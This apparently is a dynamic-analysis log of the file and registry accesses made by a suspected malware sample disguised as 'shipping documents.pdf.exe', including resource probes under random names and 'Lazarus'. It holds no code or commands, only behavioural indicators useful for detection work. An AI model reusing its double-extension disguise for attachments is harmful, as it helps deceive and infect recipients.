C:\Windows\Microsoft.NET\Framework\v2.0.50727\ole32.dll
C:\Users\Rebecca\AppData\Local\Temp\shipping documents.pdf.config
C:\Users\Rebecca\AppData\Local\Temp\shipping documents.pdf.INI
C:\Windows\System32\l_intl.nls
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\assembly\pubpol224.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\0a65164b17e5c64bacdc694ea2439c43\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\175df210b784212def386595c25caefb\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\5669120680b52abf616f3876387ca2cc\System.Windows.Forms.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.INI
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.INI
C:\Windows\assembly\GAC_MSIL\System.Drawing\2.0.0.0__b03f5f7f11d50a3a\System.Drawing.INI
C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\uxtheme.dll
C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\Globalization\en-us.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Users\Rebecca\AppData\Local\Temp\en-US\RuYBIkytPaFzpQAfDd.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en-US\RuYBIkytPaFzpQAfDd.resources\RuYBIkytPaFzpQAfDd.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en-US\RuYBIkytPaFzpQAfDd.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\en-US\RuYBIkytPaFzpQAfDd.resources\RuYBIkytPaFzpQAfDd.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\en-US\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\en-US\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v2.0.50727\en\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\en\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll
C:\Windows\Globalization\en.nlp
C:\Users\Rebecca\AppData\Local\Temp\en\RuYBIkytPaFzpQAfDd.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en\RuYBIkytPaFzpQAfDd.resources\RuYBIkytPaFzpQAfDd.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en\RuYBIkytPaFzpQAfDd.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\en\RuYBIkytPaFzpQAfDd.resources\RuYBIkytPaFzpQAfDd.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Gdiplus.dll
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24308_none_5c028e37a0121035
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24308_none_5c028e37a0121035\GdiPlus.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\4ac828c8c4c76f3ba59f8f9c7dab1cb3\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic\8.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.INI
C:\Users\Rebecca\AppData\Local\Temp\en-US\Lazarus.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en-US\Lazarus.resources\Lazarus.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en-US\Lazarus.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\en-US\Lazarus.resources\Lazarus.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\en\Lazarus.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en\Lazarus.resources\Lazarus.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en\Lazarus.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\en\Lazarus.resources\Lazarus.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.1784.31376609
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.1784.31376609
C:\Users\Rebecca\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.1784.31376625
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Rebecca\AppData\Local\Temp\shipping documents.pdf.exe.config
C:\Users\Rebecca\AppData\Local\Temp\shipping documents.pdf.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Rebecca\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Rebecca\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index38e.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\f8420d8c6ede777377fcff48a4beaa2a\mscorlib.ni.dll
C:\Windows\System32\l_intl.nls
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\assembly\pubpol224.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\0a65164b17e5c64bacdc694ea2439c43\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\175df210b784212def386595c25caefb\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\5669120680b52abf616f3876387ca2cc\System.Windows.Forms.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24308_none_5c028e37a0121035\GdiPlus.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\4ac828c8c4c76f3ba59f8f9c7dab1cb3\Microsoft.VisualBasic.ni.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.1784.31376609
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.1784.31376609
C:\Users\Rebecca\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.1784.31376625
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Standards\v2.0.50727
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\AppPatch
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000\mscorwks.dll
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shipping documents.pdf.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\NGen\Policy\v2.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\Internet
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\LocalIntranet
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-479431668-4257340731-3059248302-1002
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v2.0.50727\Security\Policy
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index38e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index38e\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index38e\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\780ee13f\6d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\780ee13f\6d\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\780ee13f\6d\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\780ee13f\6d\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\780ee13f\6d\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\780ee13f\6d\LastModTime
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\GACChangeNotification\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\73f5ad75\312ff44e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\DotNetClient\v3.5
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index224
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\304b33ae\65
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\304b33ae\65\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\304b33ae\65\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\304b33ae\65\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\304b33ae\65\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\304b33ae\65\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\46ad1249\6f
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\46ad1249\6f\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\46ad1249\6f\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\46ad1249\6f\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\46ad1249\6f\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\46ad1249\6f\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\553abeb3\54
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\553abeb3\54\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\553abeb3\54\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\553abeb3\54\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\553abeb3\54\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\553abeb3\54\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\324708cb\6e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\324708cb\6e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\324708cb\6e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\324708cb\6e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\324708cb\6e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\324708cb\6e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\4bf62c79\57
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\4bf62c79\57\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\4bf62c79\57\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\4bf62c79\57\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\4bf62c79\57\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\4bf62c79\57\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\3dc46903\53
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\3dc46903\53\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\3dc46903\53\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\3dc46903\53\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\3dc46903\53\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\3dc46903\53\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\5086dba8\61
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\5086dba8\61\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\5086dba8\61\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\5086dba8\61\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\5086dba8\61\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\5086dba8\61\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\257bdb20\70
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\257bdb20\70\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\257bdb20\70\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\257bdb20\70\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\257bdb20\70\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\257bdb20\70\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\12d2be49\5c
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\12d2be49\5c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\12d2be49\5c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\12d2be49\5c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\12d2be49\5c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\12d2be49\5c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Drawing__b03f5f7f11d50a3a
